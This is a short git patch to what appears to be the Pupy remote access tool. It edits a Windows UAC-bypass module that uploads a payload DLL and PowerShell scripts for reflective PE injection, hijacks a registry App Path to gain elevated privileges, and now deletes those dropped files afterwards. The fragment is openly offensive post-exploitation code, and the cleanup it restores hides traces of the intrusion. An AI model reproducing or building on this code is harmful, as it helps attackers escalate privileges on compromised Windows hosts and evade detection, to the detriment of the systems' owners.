From 11e6d9fada66413e12254051010c5a042b32a7b5 Mon Sep 17 00:00:00 2001 From: n1nj4sec Date: Sun, 23 Apr 2017 16:32:44 +0200 Subject: [PATCH] cleanup bypassuac ps1 scripts --- pupy/modules/lib/windows/bypassuac.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/pupy/modules/lib/windows/bypassuac.py b/pupy/modules/lib/windows/bypassuac.py index a4ece6ad..dcf55c47 100644 --- a/pupy/modules/lib/windows/bypassuac.py +++ b/pupy/modules/lib/windows/bypassuac.py @@ -50,8 +50,7 @@ class bypassuac(): self.module.info('Uploading temporary files') self.uploadPupyDLL(force_x86_dll=force_x86_dll) self.uploadPowershellScripts() - #files_to_delete=[self.invokeReflectivePEInjectionRemotePath, self.mainPowershellScriptRemotePath, self.pupyDLLRemotePath] - files_to_delete=[] + files_to_delete=[self.invokeReflectivePEInjectionRemotePath, self.mainPowershellScriptRemotePath, self.pupyDLLRemotePath] self.module.info('Altering the registry') self.module.client.conn.modules["pupwinutils.bypassuac_remote"].registry_hijacking_appPath(self.mainPowershellScriptRemotePath, files_to_delete)